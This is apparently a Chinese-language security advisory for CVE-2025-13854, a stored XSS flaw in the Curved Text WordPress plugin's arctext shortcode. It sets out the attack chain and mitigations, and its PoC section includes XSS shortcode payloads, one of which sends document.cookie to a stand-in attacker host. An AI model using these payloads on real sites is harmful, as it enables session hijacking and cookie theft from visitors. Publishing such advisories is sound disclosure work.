IPBUF安全漏洞报告
English
CVE-2025-13854 CVSS 6.4 中危

CVE-2025-13854 WordPress Curved Text插件存储型XSS漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-13854
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Curved Text plugin for WordPress

相关标签

存储型XSSWordPress插件漏洞短代码注入Curved TextCVE-2025-13854CVSS 6.4中危漏洞认证用户攻击Web安全

漏洞概述

CVE-2025-13854是WordPress Curved Text插件中的一个存储型跨站脚本漏洞。该插件用于在WordPress网站上创建弧形文字效果,漏洞存在于arctext短代码的radius参数处理中。由于插件在处理用户输入时未进行充分的输入清理和输出转义,攻击者可以通过在radius参数中注入恶意JavaScript代码来实现存储型XSS攻击。拥有Contributor级别(贡献者)及更高权限的已认证用户可以利用此漏洞,在受影响的页面中注入任意Web脚本。当其他用户访问包含恶意代码的页面时,注入的脚本将自动执行,可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。该漏洞影响插件0.1及以下所有版本。

技术细节

漏洞根源在于Curved Text插件的arctext短代码处理逻辑中。攻击者通过构造恶意的radius参数值,可以在数据库中存储包含JavaScript代码的输入。当其他用户访问包含该短代码的页面时,未经转义的恶意代码会被浏览器执行。具体利用方式为:攻击者创建一个包含特殊构造的arctext短代码的帖子或页面,其中radius参数值被设置为包含<script>标签或事件处理器(如onerror、onload等)的恶意代码。插件在渲染时直接将此值输出到HTML页面中,未进行任何输出编码或转义处理。由于该数据被永久存储在数据库中,任何访问该页面的用户都会触发恶意脚本。此类存储型XSS漏洞的危害性高于反射型XSS,因为恶意代码会在用户不知情的情况下持续执行。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的Contributor级别账户权限
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入包含恶意payload的arctext短代码
STEP 3
步骤3
在radius参数中注入XSS payload,如<script>alert(1)</script>
STEP 4
步骤4
发布或更新文章,恶意代码被存储到数据库中
STEP 5
步骤5
受害者访问包含恶意短代码的页面
STEP 6
步骤6
浏览器解析页面时执行注入的恶意JavaScript代码,导致会话劫持或敏感信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-13854 PoC - Stored XSS via arctext shortcode radius parameter --> <!-- Basic XSS payload --> [arctext radius='"><script>alert(document.cookie)</script>'] Your Text Here [/arctext] <!-- Event handler based XSS payload --> [arctext radius='123' onload='alert(String.fromCharCode(88,83,83))'] Curved Text [/arctext] <!-- Image tag based XSS payload --> [arctext radius='100' onerror='fetch("https://attacker.com/steal?c="+document.cookie)'] Text Content [/arctext] <!-- Exploitation scenario: Create a post with contributor access --> <!-- 1. Attacker with Contributor role creates/edits a post --> <!-- 2. Insert the malicious shortcode with XSS payload --> <!-- 3. Publish the post --> <!-- 4. Any user visiting the page will execute the injected JavaScript -->

影响范围

Curved Text plugin for WordPress <= 0.1

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 临时禁用Curved Text插件;2) 限制用户角色权限,禁止Contributor及以下角色使用arctext短代码;3) 使用Web应用防火墙(WAF)规则过滤短代码中的恶意payload;4) 加强WordPress站点的安全监控,及时发现异常内容创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表